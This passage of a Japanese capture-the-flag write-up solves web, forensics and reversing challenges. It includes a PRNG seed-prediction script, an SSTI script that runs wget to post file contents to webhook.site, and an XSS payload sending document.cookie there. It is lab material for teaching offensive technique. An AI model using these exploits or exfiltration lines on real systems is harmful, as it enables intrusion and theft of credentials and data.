Content-Disposition: form-data; name="file"; filename="../../../etc/hosts"
Content-Type: image/jpeg

(IPアドレス) localhost

------WebKitFormBoundary9BbJvQXij52dIlZQ--

nc -lp 1337 で待ち構えて /flag にアクセスしてみると、フラグが飛んできた。

$ nc -lp 1337
GET /ictf%7Bman_maybe_running_my_webserver_as_root_wasnt_a_great_idea_hmmmm%7D HTTP/1.1
Host: localhost:1337
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

この問題好き。

[Web 352] maas (43 solves)

URLとソースコードが与えられる。やったあ。ユーザ登録とログイン、それからユーザ情報の確認だけができる無用なWebアプリケーション。ユーザ登録は、適当なユーザ名を入力すると、サーバが自動でパスワードを生成して教えてくれるというような形になっていた。

admin としてログインできたら勝ち。

@app.route('/home', methods=['GET'])
def home():
    cookie = request.cookies.get('auth')
    username = users[cookie]["username"]
    if username == 'admin':
        flag = open('flag.txt').read()
        return render_template('home.html', username=username, message=f'Your flag: {flag}', meme=random.choice(memes))

ユーザ管理やパスワード生成の仕組みは以下のようになっている。ユーザ名の username、パスワードの password、それから /users/<id> というユーザページへのアクセスに使うUUIDが入っている id というキーを持つ dict がユーザ情報になる。users という dict でユーザ情報が管理されており、パスワードのSHA-256ハッシュをキーにこのユーザ情報を持っている。

パスワードの生成には random.choice が使われており、普通なら推測ができなさそう。ユーザIDの生成には uuid.uuid1 が使われているが、なぜ完全にランダムなUUID v4を使わないのだろうか。UUID v1ではUUIDの生成時刻などの情報が含まれるが、わざわざそんなUUIDを使う必要はあるだろうか。

memes = [l.strip() for l in open("memes.txt").readlines()]
users = {}
taken = []

def adduser(username):
  if username in taken:
    return "username taken", "username taken"
  password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
  cookie = sha256(password.encode()).hexdigest()
  users[cookie] = {"username": username, "id": str(uuid.uuid1())}
  taken.append(username)
  return cookie, password

コードを眺めていると、怪しげな処理を見つける。Webアプリケーションの初期化処理でPRNGの初期化もしているが、ここで現在時刻をシードとしている。その直後に admin のユーザ登録をしているが、admin のUUIDからその登録時刻がわかってしまう。そこからPRNGのシードがわかるし、パスワードの生成には random.choice が使われているからその予測もできてしまう。

def initialize():
  random.seed(round(time.time(), 2))
  adduser("admin")

initialize()

admin のUUIDは /users というAPIから参照できる。

@app.route('/users')
def listusers():
  return render_template('users.html', users=users)

CPythonの uuid.uuid1 の実装を参考にしつつ、UUIDからPRNGのシードを推測し、そこからパスワードを推測するスクリプトを書く。出力されたパスワードを使って admin としてログインすると、フラグが表示された。

from hashlib import sha256
import time
import random

def initialize(t=None):
    if t is None:
        t = time.time()
    random.seed(round(t, 2))

u = '2299ab36-04ec-11ed-8a8d-e62d5fffa967'.split('-')

time_low = int(u[0], 16)
time_mid = int(u[1], 16)
time_hi_version = int(u[2], 16)

timestamp = (time_low & 0xffffffff) | ((time_mid & 0xffff) << 32) | ((time_hi_version & 0xfff) << 48)
timestamp -= 0x01b21dd213814000
timestamp *= 100

timestamp /= 1_000_000_000

initialize(round(timestamp, 2))

username = 'admin'
password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
cookie = sha256(password.encode()).hexdigest()

print(password)
print(cookie)
ictf{d0nt_use_uuid1_and_please_generate_passw0rds_securely_192bfa4d}

[Web 390] 1337 (37 solves)

URLのみが与えられる。/source からソースコードが見られる。入力した文字列をleetに変換してくれる便利なサービスらしい。mojo.jsというフレームワークを使っているようだ。

import mojo from "@mojojs/core";
import Path from "@mojojs/path";

const toLeet = {
  A: 4,
  E: 3,
  G: 6,
  I: 1,
  S: 5,
  T: 7,
  O: 0,
};

const fromLeet = Object.fromEntries(
  Object.entries(toLeet).map(([k, v]) => [v, k])
);

const layout = `<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>1337</title>
    <link rel="stylesheet" href="static/style.css">
</head>
<body>
    <main>
        <%== ctx.content.main %>
    </main>
    <canvas width="500" height="200" id="canv" />
    <script src="static/matrix.js"></script>
</body>
</html>`;

const indexTemplate = `
<h1>C0NV3R7 70/FR0M L337</h1>
<form id="leetform" action="/">
    <input type="text" id="text" name="text" placeholder="Your text here">
    <div class="switch-field">
        <input type="radio" id="dir-to" name="dir" value="to" checked="checked">
        <label for="dir-to">TO</label>
        <input type="radio" id="dir-from" name="dir" value="from">
        <label for="dir-from">FROM</label>
    </div>
    <input type="submit" value="SUBMIT">
</form>
<div id="links">
  <a href="/source">/source</a>
  <a href="/docker">/docker</a>
</div>
`;

const app = mojo();

const leetify = (text, dir) => {
  const charBlocked = ["'", "`", '"'];
  const charMap = dir === "from" ? fromLeet : toLeet;

  const processed = Array.from(text)
    .map((c) => {
      if (c.toUpperCase() in charMap) {
        return charMap[c.toUpperCase()];
      }

      if (charBlocked.includes(c)) {
        return "";
      }

      return c;
    })
    .join("");

  return `<h1>${processed}</h1><a href="/">←BACK</a>`;
};

app.get("/", async (ctx) => {
  const params = await ctx.params();
  if (params.has("text")) {
    return ctx.render({
      inline: leetify(params.get("text"), params.get("dir")),
      inlineLayout: layout,
    });
  }
  ctx.render({ inline: indexTemplate, inlineLayout: layout });
});

app.get("/source", async (ctx) => {
  const readable = new Path("index.js").createReadStream();
  ctx.res.set("Content-Type", "text/plain");
  await ctx.res.send(readable);
});

app.get("/docker", async (ctx) => {
  const readable = new Path("Dockerfile").createReadStream();
  ctx.res.set("Content-Type", "text/plain");
  await ctx.res.send(readable);
});

app.start();

leet化した文字列を表示するときに ctx.render というAPIを使っているけれども、なぜか inline というプロパティを使っている。ドキュメントを読んでみると "Some engines such as tmpl allow templates to be passed inline." とある。これもSSTIか。

app.get("/", async (ctx) => {
  const params = await ctx.params();
  if (params.has("text")) {
    return ctx.render({
      inline: leetify(params.get("text"), params.get("dir")),
      inlineLayout: layout,
    });
  }
  ctx.render({ inline: indexTemplate, inlineLayout: layout });
});

今回使われているテンプレートエンジンは、おそらく @mojojs/template だ。適当に試してみたいが、SSTI問ではまず 7*7 を計算するというマナーがあるのでそれに従う。<%= 7*7 %> のleetへの変換を試みると 49 が表示された。

このサービスではleetへの変換のほかに、leetからの普通の文字列への変換もできる。前者では A, E, G といったアルファベットが使えず、後者では 4, 3, 6 といった数字が使えない。数値なら容易に作れるので、後者でSSTIをやっていく。

このような数値のほかにも、以下のように ', ", ` も使えない。文字列なら String.fromCharCode で作ればよいだろう。

  const charBlocked = ["'", "`", '"'];

ここから任意コード実行に持ち込む方法を考えなければいけない。まずは eval を確かめてみたいと思って <%= eval %> を確かめてみたところ、FUNCTION EVAL() { [NATIVE CODE] } と表示された。いけそう。

あとは文字列をエンコードする方法を考えるだけ。a, b, ..., g という変数にそれぞれ 1, 2, ..., 128 という数値を入れておく。こうしておけば、たとえば ABC という文字列ならば String.fromCharCode(a|g,b|g,a|b|g) みたいな感じで作れる。文字列をエンコードして eval してくれるスクリプトを書く。

import requests

table = {}
_keys = 'abcdefgh'
def init_table():
    res = f'({_keys[0]}=(2/2))&&'
    table[0] = _keys[0]
    for i, k in zip(range(1, 8), _keys[1:]):
        table[i] = k
        res += f'({k}={_keys[i-1]}<<(2/2))&&'
    return res

def encode_num(x):
    res = []
    for i in range(8):
        if x & (1 << i):
            res.append(table[i])
    return '|'.join(res)

def encode(s):
    res = init_table()
    tmp = []
    for c in s:
        c = ord(c)
        tmp.append(encode_num(c))
    res += f'eval(String.fromCharCode({",".join(tmp)}))'
    return f'<%= {res} %>'

#HOST = 'http://localhost:8000'
HOST = 'http://1337.chal.imaginaryctf.org/'
def go(payload):
    r = requests.get(HOST, params={
        'text': encode(payload),
        'dir': 'from'
    })
    return r.text

#print(go('''import('child_process').then(resp=>{resp.execSync('wget https://webhook.site/… --post-data="$(ls)"')})'''))
print(go('''import('child_process').then(r=>{r.execSync('wget https://webhook.site/… --post-data="$(cat F*)"')})'''))

実行するとフラグがWebhook.siteにPOSTされた。

ictf{M0J0_15N7_0N_P4YL04D54LL7H37H1N65}

[Web 495] CyberCook (8 solves)

URLのみが与えられる。問題名の通りCyberChef的なアプリで、適当なテキストを入力すると、それをBase64エンコードした文字列を出力してくれる。下の方にある Report an issue というリンクはadmin botにURLが報告できるもので、URLを報告するとWebブラウザで訪問してくれる。ただし、そのURLのオリジンは http://localhost:8080 でなければならない。つまり、このページでXSSを探さなければならない。

DevToolsでNetworkタブを開くと、Base64エンコード時にはどこにもリクエストが飛んでいない。全部ローカルでやっているらしい。Sourcesタブを開くと main.jsmain.wasm が読み込まれており、wasm pwn問だと察する。main.js をちらっと見たところ ENVIRONMENT_IS_NODE だの convertJsFunctionToWasm だのとEmscriptenのグルースクリプトっぽい。Emscriptenの吐き出すwasmなんか読みたくないよ~ということで、ここでなるべく静的解析をしないと決意する。

ところで index.html にもJavaScriptコードがあって、これがまた javascript-obfuscator(たぶん)で難読化されていてめんどくさい。めんどくさい! 頑張れば読めるけれども、面倒だという気持ちしか湧いてこない。

それでも読むしかない。まずはVSCodeでもなんでもよいのでこのJSコードを整形する。javascript-obfuscator は文字列だとかプロパティだとかを _0x4be447(0xc8) みたいな感じで関数呼び出しに置き換えるので、これらを元の文字列やプロパティに戻すとわかりやすい。console.log デバッグでも、ブレークポイントを置いての確認でも構わない。幸いにもオプション盛り盛りの難読化ではなかったので、比較的短時間で以下のように難読化を解除できた。

クエリパラメータから inputaction を取ってきているらしい。actionbase64 で固定で、input はどんな文字列でもよい。もしこれらのクエリパラメータがセットされていれば、わざわざフォームに文字列を入力してボタンを押さずともBase64エンコードしてくれるらしい。

もう一点気になるのは ret.innerHTML = AsciiToString(res) で、Base64エンコード後の文字列が innerHTML によって出力されている。もし AsciiToString の返り値をHTMLタグにできればXSSができそうだ。なるほど、XSSが起こるようなクエリパラメータがセットされたURLを、admin botに報告しろということらしい。

function getRequests() {
    var parts = location.search.substring(0x1, location['search'].length).split('&'),
        res = {},
        part, i;
    for (i = 0x0; i < parts.length; i += 0x1) {
        part = parts[i].split('=');
        res[decodeURIComponent(part[0]).toLowerCase()] = decodeURIComponent(part[1]);
    }
    return res;
};
var q = getRequests();

// hex-decode
function htoa(arg) {
    var res = '';
    arg = arg.toString()
    for (var i = 0x0; i < arg.length; i += 0x2)
        res += String.fromCharCode(parseInt(arg.substr(i, 0x2), 0x10));
    return res;
}

// hex-encode
function atoh(arg) {
    var res = '';
    for (var i = 0x0; i < arg.length; i++) {
        res += arg.charCodeAt(i).toString(0x10);
    }
    return res;
}

Module['onRuntimeInitialized'] = function() {
    q['action'] == 'base64' && (document.getElementById('input').value = htoa(q.input), s(q.input));
};

function s(arg) {
    var memory = allocate(intArrayFromString(arg), ALLOC_NORMAL),
        ret = document.getElementById('ret'),
        res = Module._base64_encode(memory, arg.length / 0x2);
    ret.innerHTML = AsciiToString(res), initialized = 0x1;
}

wasmの脆弱性を探していく。色々入力していると、AAAAAAAAAAAAAAAAAA を入力したときにゴミのついた結果が出力された。

AAAAAAAAAAAAAAAAAAA では完全に沈黙してしまう。何が起こっているのか。

wasmの動的解析をしてどうなっているか知りたい。ChromeのDevToolsで、Sourcesタブから main.wasm を選択する。外部からアクセスできる関数がないか export で検索してみると、malloc やら __errno_location やら…はいいのだけれど、base64_encode という気になるものがあった。

この関数の最後にある returnブレークポイントを置き、適当な文字列(neko)を入力してボタンを押す。スタックに残っている値が返り値となるのだが、なんかアドレスっぽい。Memory Inspectorからこのアドレスを確認してみると、bmVrbwAA という文字列があった。これは nekoBase64エンコードしたものだ。

では、入力が AAAAAAAAAAAAAAAAAAA だったときには何が起こっていたのか。ページをリロードしてから同様の手順で返り値を確認してみると、なんだか様子がおかしい。アドレスが大きすぎる。この値を16進数で表現すると 41415151 と各バイトがASCIIの範囲内に収まる形になっている。

メモリを確認してみると、バッファオーバーフローによって、メモリ上に存在しているアドレスが書き換えられているっぽい雰囲気がある。ただし、Base64エンコード後の文字列によって。

何度か実行してみて確認した限りでは、(入力する文字列の長さが変わらない限り)Base64エンコード後の文字列や、入力した文字列が配置されているアドレスは変わらない。base64_encode の返り値となるアドレスが配置されているメモリの箇所を、入力した文字列のアドレスに置き換えることができればXSSができそうではある。が、そのアドレスが 0x00503688 のようにnull文字を含んでしまっているのがつらい。当然ながらBase64の変換テーブルにはnull文字は含まれないので。

クエリパラメータの input はhexな文字列であることが前提になっているけど、もしそうでない文字が含まれていたらどうなるのだろうと思い、色々入力してみた。

/?action=base64&input=303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030FFFFFF3030303030303030303030303030303030

のように入力に0xffを含めることで、Base64エンコード後の文字列にnull文字を含ませることができた。

返り値のアドレスも 0 になっている。

あとは入力にXSSペイロードを仕込みつつ、返り値がユーザ入力のアドレスになるようにするだけ。前述のようにユーザ入力が配置されているアドレスは固定なので、決め打ちでよい。input

303c696d67207372633d78206f6e6572726f723d616c65727428313233293e3030303030303030303030303030303030303030303030303030303030303030303030303030303030ABA3FF3030303030303030303030303030303030

にしてみると、alert が出た。

実行されるJSコードを alert(123) から import('//example.com') のようにし、以下のJSコードが読み込まれるようにする。できあがったURLをadmi botに報告するとフラグが得られた。

(new Image).src=('https://webhook.site/…?' + document.cookie)
ictf{c0ngrats_on_pWning_my_w4sm_hopefully_there_werent_any_cheese_solutions_b2810d1e}

javascript-obfuscator を挟むのは余計ではないか。

[Forensics 100] unpuzzled4 (315 solves)

It looks like unpuzzler7 has been getting into photography recently. His pictures aren't very good though, you can't even tell what the location of the pictures are! (To access this challenge you must join our discord server at https://discord.gg/ctf)

とのことで、このDiscordサーバにいる unpuzzler7 さんのプロフィールを見てみる。"Check out some cool pictures! https://www.flickr.com/unpuzzler7" とFlickrへのリンクがあった。アップロードされている写真のなかにskyというタイトルのものがある。写真の情報を見ると、なんかフラグっぽい文字列がタグに設定されている。

DevToolsを開いてこのリンクを見てみると、フラグの全体が見られた。

ictf{1mgur_d03sn't_cl3ar_3xif}

[Forensics 100] unpuzzled3 (170 solves)

unpuzzler7#6451 is back! I've heard that he's been listening to a lot of music lately. Think that you might be able to find something? (To access this challenge you must join our discord server at https://discord.gg/ctf)

unpuzzled4の続き。プロフィールをもうちょっと詳しく確認すると、Spotifyへのリンクがあった。

ふたつ公開プレイリストがあり、一方はNever Gonna Give You Upしか入っておらず、もう一方は色々な曲が入っている。後者の曲名は以下のような感じだった。頭文字を取ると ICTF{ … あ、フラグだ。

  • I Love You So
  • Cinema
  • Tarot
  • Falling Back
  • {idle}
ICTF{SPOTIFY_jAMMMMMM_78D5B4}

[Forensics 100] journey (273 solves)

This is an OSINT challenge.

Max49 went on a trip... can you figure out where? The flag is ictf{latitude_longitude}, where both are rounded to three decimal places. For example, ictf{-95.334_53.234}

写真が与えられる。Bingで画像検索するとほぼ同じ構図の写真が見つかった。ストリートビューでこのあたりを探してみると見つかった

ictf{42.717_12.112}

[Forensics 100] Ogre (113 solves)

docker pull ghcr.io/iciaran/ogre:ctf というコマンドが問題文で与えられている。とりあえずイメージをpullしてくる。docker history ghcr.io/iciaran/ogre:ctf でイメージの履歴を見てみる。/bin/sh -c echo aWN0ZntvbmlvbnNfaGF2ZV9s… となにか怪しげなコマンドを実行している。

$ docker history ghcr.io/iciaran/ogre:ctf
IMAGE          CREATED       CREATED BY                                      SIZE      COMMENT
0d847c76be92   4 weeks ago   CMD ["node" "server.js"]                        0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   EXPOSE map[8080/tcp:{}]                         0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY quotes.json quotes.json # buildkit         5.46kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY public public # buildkit                   6.01kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY views views # buildkit                     634B      buildkit.dockerfile.v0
<missing>      4 weeks ago   COPY server.js server.js # buildkit             441B      buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm install ejs # buildkit       2.26MB    buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c rm /tmp/secret # buildkit        0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm install express # buildkit   5.86MB    buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c echo aWN0ZntvbmlvbnNfaGF2ZV9s…   61B       buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c npm init -y # buildkit           2.35kB    buildkit.dockerfile.v0
<missing>      4 weeks ago   WORKDIR /app/ogre                               0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   RUN /bin/sh -c mkdir ogre # buildkit            0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   WORKDIR /app                                    0B        buildkit.dockerfile.v0
<missing>      4 weeks ago   /bin/sh -c #(nop)  CMD ["node"]                 0B
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENTRYPOINT ["docker-entry…   0B
<missing>      4 weeks ago   /bin/sh -c #(nop) COPY file:4d192565a7220e13…   388B
<missing>      4 weeks ago   /bin/sh -c apk add --no-cache --virtual .bui…   7.77MB
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENV YARN_VERSION=1.22.19     0B
<missing>      4 weeks ago   /bin/sh -c addgroup -g 1000 node     && addu…   161MB
<missing>      4 weeks ago   /bin/sh -c #(nop)  ENV NODE_VERSION=18.4.0      0B
<missing>      8 weeks ago   /bin/sh -c #(nop)  CMD ["/bin/sh"]              0B
<missing>      8 weeks ago   /bin/sh -c #(nop) ADD file:8e81116368669ed3d…   5.53MB

--no-trunc オプションを付与してコマンドの全体を見てみる。

$ docker history ghcr.io/iciaran/ogre:ctf --no-trunc | grep aWN0
<missing>                                                                 4 weeks ago   RUN /bin/sh -c echo aWN0ZntvbmlvbnNfaGF2ZV9sYXllcnNfaW1hZ2VzX2hhdmVfbGF5ZXJzfQo= > /tmp/secret # buildkit …

aWN0ZntvbmlvbnNfaGF2ZV9sYXllcnNfaW1hZ2VzX2hhdmVfbGF5ZXJzfQo=Base64デコードするとフラグが得られた。

ictf{onions_have_layers_images_have_layers}

[Forensics 119] tARP (69 solves)

pcapngファイルが与えられる。Wiresharkで開いて「統計」→「プロトコル階層」を選択すると、以下のようにQUICとARPがやたらと多いことがわかる。

ARPのパケットは以下のような感じ。途中から 114.111.111.116, 58.120.58.48, 58.48.58.114, … といった(怪しげな)IPアドレスの解決を要求している。各オクテットを文字コードとして見てみると root:x:0:0:r… という感じで、データの抽出にARPを使っていそうな雰囲気が出ている。

Scapyでどんなデータが抽出されたか見てみる。スクリプトを書く。

from scapy.all import *

res = b''
for pkt in PcapReader('tarp.pcapng'):
    if ARP not in pkt:
        continue
    if pkt.src != 'f6:6b:50:99:aa:10' or pkt.dst != '00:00:00:00:00:00':
        continue
    arp = pkt[ARP]
    res += bytes(arp)[-4:]

with open('res.bin', 'wb') as f:
    f.write(res)

出力されたデータをバイナリエディタで眺めていると、PNGシグネチャがあった。

PNG部分を切り出して見てみると、フラグが表示された。

ictf{h1dd3n_1n_th3_n3twork_layer_1b21e349}

[Forensics 172] bsv (64 solves)

flag.bsv なる謎のテキストファイルが与えられる。これは独自フォーマットで、問題文によれば "BSV, for BEE-separated-values" とのこと。開いてみると BEEAccordingBEEtoBEEallBEEknownBEE BEE BEElawsBEEof… というような感じで、たしかに BEE 区切りになっていそう。

BEE, に置換してCSVに変換する。Excelで開くとうっすらとフラグが見える。

各セルを正方形にし、条件付き書式で空白でないセルの背景を黒にする。これで読みやすくなった。

ICTF{BUZZ_BUZZ_B2F13A}

[Forensics 212] improbus (60 solves)

corrupted.png というぶっ壊れたPNGが与えられる。89 とか AC とか、0x80以上のバイトの直前になにかゴミがついている気がする。C2, C3UTF-8だこれ。

PythonUTF-8としてデコードする。

>>> s = open('corrupted.png','rb').read().decode('utf-8')
>>> open('result.png','wb').write(bytes(ord(x) for x in s))

出力された result.png を開くと、フラグが表示された。

ictf{fixed!_3f5ce751}

[Forensics 423] Subtitles (31 solves)

謎の動画とsrtファイルが与えられる。再生してみると、以下のような感じで数字が表示されつつ、字幕でも教えてくれる。

が、たまに字幕が間違っている。

1fpsなので ffmpeg -i subtitles.mp4 -r 1 frames/image_%04d.png で全フレームを書き出せる。なんとかして写っている数字と字幕が一致していないフレームを特定したい。

写っている手書きの数字はどうみてもMNISTなので、カンニングができる。訓練データとかテストデータとかお構いなしによく似ている画像を探して、そのラベルを参照する。もし字幕と食い違っていれば、字幕の方を出力するようなスクリプトを書く。

import tensorflow as tf
import numpy as np
from PIL import Image

mnist = tf.keras.datasets.mnist
ims = np.asarray([np.asarray(Image.open(f'frames/image_{i:04}.png').convert('L')) for i in range(1, 848)])

(X_train, y_train),(X_test, y_test) = mnist.load_data()
X = np.concatenate([X_train, X_test])
Y = np.concatenate([y_train, y_test])

def find_similar_image(im):
    res, mim, md = None, None, 999999999.0
    for x, y in zip(X, Y):
        d = np.linalg.norm(x - im)
        if d < md:
            res, mim, md = y, x, d
    return str(res), mim, md

with open('subtitles.srt', 'r') as f:
    srt = f.read()
srt = srt.splitlines()[2::4]

res = ''

for j, (i, s) in enumerate(zip(ims, srt)):
    r, i2, _ = find_similar_image(i)
    if r != s:
        print(f'[{j}]', r, s)

実行すると、以下のように出力された。18~20フレーム目、40~41フレーム目、63~65フレーム目、86~88フレーム目といったように間違えるときは連続して間違えているようだ。それぞれ字幕で表示されている数字をつなげてみると 105, 99, 116, 102 となる。文字コードとして考えると ictf で…フラグだこれ。

$ python3 a.py
[18] 4 1
[19] 6 0
[20] 7 5
[40] 2 9
[41] 2 9
[63] 0 1
[64] 5 1
[65] 5 6
[86] 0 1
[87] 1 0
[88] 5 2
…

先程の最後のスクリプトres = '' 以降を以下のように書き換える。

res, tmp = '', ''
for i, s in zip(ims, srt):
    r, i2, _ = find_similar_image(i)
    if r != s:
        tmp += s
    elif tmp != '':
        res += chr(int(tmp))
        tmp = ''
        print(res)

実行するとフラグが得られた。

$ python3 solve.py
i
ic
ict
ictf
ictf{
…
ictf{i_hope_you_didnt_do_this_by_hand}
ictf{i_hope_you_didnt_do_this_by_hand}

[Reversing 100] desrever (429 solves)

Pythonのコードが与えられる。以下のような感じ。

#!/usr/bin/env python3

cexe = exec
cexe(')]"}0p381o91_flnj_3ycvgyhz_av_tavferire{sgpv"==)]pni ni _ rof _ esle "9876543210_}{" ni ton _ fi ]_[d.siht[(nioj.""[)"tcerroc","gnorw"((tnirp;)" >>>"(tupni=pni;)"?galf eht si tahW"(tnirp;siht tropmi'[::-1])

exec で実行されているコードを見てみるthis.dROT13のテーブルだ。

import this;print("What is the flag?");inp=input(">>> ");print(("wrong","correct")["".join([this.d[_] if _ not in "{}_0123456789" else _ for _ in inp])=="vpgs{erirefvat_va_zhygvcy3_jnlf_19o183p0}"])

{} が含まれるフラグっぽい文字列をROT13すればよい。

ictf{reversing_in_multipl3_ways_19b183c0}

[Reversing 100] hidden (129 solves)

x86_64のELFが与えられる。Ghidraデコンパイルすると、main で以下のような処理があった。func_0x00101140 の返り値いかんで correct を出力するか wrong を出力するかが変わるらしい。

  iVar2 = func_0x00101140(local_228,"jctf{n0t_the_real_flag?_or_is_it?}\n");
  if (iVar2 == 0) {
    FUN_001010f0("correct");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  FUN_001010f0("wrong!");

その中身は以下のような感じ。単純なXORだ。

void FUN_00101100(undefined8 param_1,ulong *param_2)

{
  ulong *puVar1;
  ulong uVar2;
  ulong *puVar3;
  long lVar4;
  ulong auStack40 [5];
  
  syscall();
  auStack40[4] = 0x910a96fdf83deb08;
  auStack40[3] = 0x435e9c9331495b55;
  puVar3 = auStack40 + 2;
  auStack40[2] = 0x7870148bf499d6f9;
  lVar4 = 0;
  uVar2 = 0x39e324b32f573c94;
  puVar1 = auStack40 + 2;
  do {
    uVar2 = uVar2 * uVar2 ^ *param_2;
    *(undefined8 *)((long)puVar1 + -8) = 0xa216c696166;
    if (uVar2 != *puVar3) {
LAB_00101177:
      syscall();
      syscall();
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    lVar4 = lVar4 + 1;
    if (lVar4 == 3) {
      *(undefined8 *)((long)puVar1 + -0x10) = 0xa74636572726f63;
      goto LAB_00101177;
    }
    param_2 = param_2 + 1;
    puVar3 = puVar3 + 1;
    puVar1 = (ulong *)((long)puVar1 + -8);
  } while( true );
}

ソルバを書く。

import binascii
a = [
    0x7870148bf499d6f9,
    0x435e9c9331495b55,
    0x910a96fdf83deb08
]
tmp = 0x39e324b32f573c94
for x in a:
    res = (x ^ (tmp * tmp)) & 0xffffffffffffffff
    print(binascii.unhexlify(hex(res)[2:].zfill(2 * 8))[::-1].decode(), end='')
    tmp = x

print()

実行するとフラグが得られた。

$ python3 solve.py 
ictf{h1ddenc0de_1a29d3}
ictf{h1ddenc0de_1a29d3}

[Reversing 100] polymorphic (71 solves)

x86_64のELFが与えられる。入力した文字列がフラグであるかどうかチェックしてくれる。Ghidraに投げてデコンパイルしてみても、まともなコードが出てこない。アセンブリの方を見てみると、XORで実行可能な領域を書き換えている。自己書き換えコードだ。

gdbで追っていく。実行されている命令をダンプするgdb用のスクリプトを書く。フラグの入力を求める read を呼び出す syscall の直後にブレークポイントを置き、その後にどうやって正解の文字であるかをチェックしているか確認したい。

# gdb -n -q -x dump.py ./polymorphic
import gdb
import sys

gdb.execute('set pagination off')
gdb.execute('set disassembly-flavor intel')
gdb.execute('b *(_start+112)', to_string=True) # after syscall

with open('input', 'w') as f:
    f.write('ictf{test}')
gdb.execute('r < input', to_string=True)

while True:
    try:
        ins = gdb.execute('x/i $rip', to_string=True)
    except:
        gdb.execute('quit')
        sys.exit(0)

    print('[ins]', ins)
    gdb.execute('stepi', to_string=True)

実行する。mov al,BYTE PTR [rsp]mov al,BYTE PTR [rsp+0x1] あたりがフラグの文字を取り出している処理になる。al から 0x600x9sub で引いた後に、xor BYTE PTR [rip+0x7],al でその後に実行される命令を書き換えている。もし不正解であれば正しくない命令が実行され、Segmentation faultが起きるというわけだ。これがずっと繰り返される。

$ gdb -n -q -x dump.py ./polymorphic  | grep ins
[ins] => 0x401070 <_start+112>: xor    DWORD PTR [rip+0x0],0xdf1484ed        # 0x40107a <_start+122>
[ins] => 0x40107a <_start+122>: mov    al,BYTE PTR [rsp]
[ins] => 0x40107d <_start+125>: nop
[ins] => 0x40107e <_start+126>: xor    DWORD PTR [rip+0x0],0x9150e364        # 0x401088 <_start+136>
[ins] => 0x401088 <_start+136>: sub    al,0x60
[ins] => 0x40108a <_start+138>: nop
[ins] => 0x40108b <_start+139>: nop
[ins] => 0x40108c <_start+140>: xor    DWORD PTR [rip+0x0],0x59608a64        # 0x401096 <_start+150>
[ins] => 0x401096 <_start+150>: sub    al,0x9
[ins] => 0x401098 <_start+152>: nop
[ins] => 0x401099 <_start+153>: nop
[ins] => 0x40109a <_start+154>: xor    DWORD PTR [rip+0xa],0x25338878        # 0x4010ae <_start+174>
[ins] => 0x4010a4 <_start+164>: xor    DWORD PTR [rip+0x4],0x40a062b5        # 0x4010b2 <_start+178>
[ins] => 0x4010ae <_start+174>: xor    BYTE PTR [rip+0x7],al        # 0x4010bb <_start+187>
[ins] => 0x4010b4 <_start+180>: nop
[ins] => 0x4010b5 <_start+181>: nop
[ins] => 0x4010b6 <_start+182>: xor    DWORD PTR [rip+0xa],0x2410c9c2        # 0x4010ca <_start+202>
[ins] => 0x4010c0 <_start+192>: xor    DWORD PTR [rip+0x4],0x27208def        # 0x4010ce <_start+206>

[ins] => 0x4010ca <_start+202>: mov    al,BYTE PTR [rsp+0x1]
[ins] => 0x4010ce <_start+206>: nop
[ins] => 0x4010cf <_start+207>: nop
[ins] => 0x4010d0 <_start+208>: nop
[ins] => 0x4010d1 <_start+209>: nop
[ins] => 0x4010d2 <_start+210>: xor    DWORD PTR [rip+0x0],0x4660e364        # 0x4010dc <_start+220>
[ins] => 0x4010dc <_start+220>: sub    al,0x60
[ins] => 0x4010de <_start+222>: nop
[ins] => 0x4010df <_start+223>: nop
[ins] => 0x4010e0 <_start+224>: xor    DWORD PTR [rip+0x0],0xd9788064        # 0x4010ea <_start+234>
[ins] => 0x4010ea <_start+234>: sub    al,0x3
[ins] => 0x4010ec <_start+236>: nop
[ins] => 0x4010ed <_start+237>: nop
[ins] => 0x4010ee <_start+238>: xor    DWORD PTR [rip+0xa],0x25338878        # 0x401102 <_start+258>
[ins] => 0x4010f8 <_start+248>: xor    DWORD PTR [rip+0x4],0x56c9e86        # 0x401106 <_start+262>
[ins] => 0x401102 <_start+258>: xor    BYTE PTR [rip+0x7],al        # 0x40110f <_start+271>
[ins] => 0x401108 <_start+264>: nop
[ins] => 0x401109 <_start+265>: nop
[ins] => 0x40110a <_start+266>: xor    DWORD PTR [rip+0xa],0x2710c9c2        # 0x40111e <_start+286>
[ins] => 0x401114 <_start+276>: xor    DWORD PTR [rip+0x4],0x99c95815        # 0x401122 <_start+290>

[ins] => 0x40111e <_start+286>: mov    al,BYTE PTR [rsp+0x2]
[ins] => 0x401122 <_start+290>: nop
[ins] => 0x401123 <_start+291>: nop
[ins] => 0x401124 <_start+292>: nop
[ins] => 0x401125 <_start+293>: nop
[ins] => 0x401126 <_start+294>: xor    DWORD PTR [rip+0x0],0xb060e364        # 0x401130 <_start+304>
[ins] => 0x401130 <_start+304>: sub    al,0x60
[ins] => 0x401132 <_start+306>: nop
[ins] => 0x401133 <_start+307>: nop
[ins] => 0x401134 <_start+308>: xor    DWORD PTR [rip+0x0],0x97789764        # 0x40113e <_start+318>
